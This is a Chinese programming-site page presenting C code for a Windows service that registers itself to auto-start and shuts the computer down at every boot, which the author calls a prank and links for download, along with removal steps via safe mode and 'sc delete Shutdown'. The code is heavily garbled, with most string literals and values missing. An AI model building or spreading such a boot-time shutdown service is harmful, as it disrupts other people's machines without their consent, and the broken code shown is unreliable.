程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> 關於C語言 >> Windows服務編程Demo

Windows服務編程Demo

編輯:關於C語言

實現一個開機自動啟動的關機程序,具體代碼如下:

 #include <Windows.h>
 
       
   
  WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in       SERVICE_TABLE_ENTRY st[] = 
          {TEXT(   
      (!    
  
  
        
     
     schSCManager =      (!          MessageBox(NULL, TEXT(), TEXT(), MB_OK |           
     schService = OpenService(schSCManager, TEXT(      (!          MessageBox(NULL, TEXT(), TEXT(), MB_OK |  
     BOOL b = StartService(schService,   
                           status.dwWin32ExitCode =          status.dwCurrentState =                             SetServiceStatus(hServiceStatus, &  
       status.dwServiceType =     status.dwCurrentState =     status.dwControlsAccepted = SERVICE_ACCEPT_STOP |     status.dwWin32ExitCode =      status.dwServiceSpecificExitCode =      status.dwCheckPoint =      status.dwWaitHint =  
     hServiceStatus = RegisterServiceCtrlHandler(TEXT(      ((SERVICE_STATUS_HANDLE) ==            
     status.dwCurrentState =     SetServiceStatus(hServiceStatus, &   
        os.dwOSVersionInfoSize =      GetVersionEx(&      (VER_PLATFORM_WIN32_NT ==    
         OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &         LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[ 
         tkp.PrivilegeCount =          tkp.Privileges[].Attributes = 
         AdjustTokenPrivileges(handle, FALSE, &tkp, , (PTOKEN_PRIVILEGES)NULL,  
          (GetLastError() !=              MessageBox(NULL, TEXT(), TEXT(), MB_OK |   
     ExitWindowsEx(EWX_SHUTDOWN,   
       BOOL bResult = 
     SC_HANDLE schSCManager =               SC_HANDLE schService = OpenService(schSCManager, TEXT(                       bResult =         
          MessageBox(NULL, TEXT(), TEXT(), MB_OK |  
       
       SC_HANDLE schSCManager =      (!          MessageBox(NULL, TEXT(), TEXT(), MB_OK |           
   
     SC_HANDLE schService = CreateService(schSCManager, TEXT(), TEXT(), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, TEXT(      (!           MessageBox(NULL, TEXT(), TEXT(), MB_OK |           
   
      }

本程序是開機自動關機的惡搞程序,本人親自在物理機上測試,在windows server 2008 r2 enterprise版本的系統下測試通過。要解除本惡搞程序對你造成的不便,可以在開機時按F8進入安全模式下刪除名字為Shutdown的服務即可。 輸入命令: sc delete Shutdown

 

程序下載連接:http://pan.baidu.com/share/link?shareid=329612&uk=638387423

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved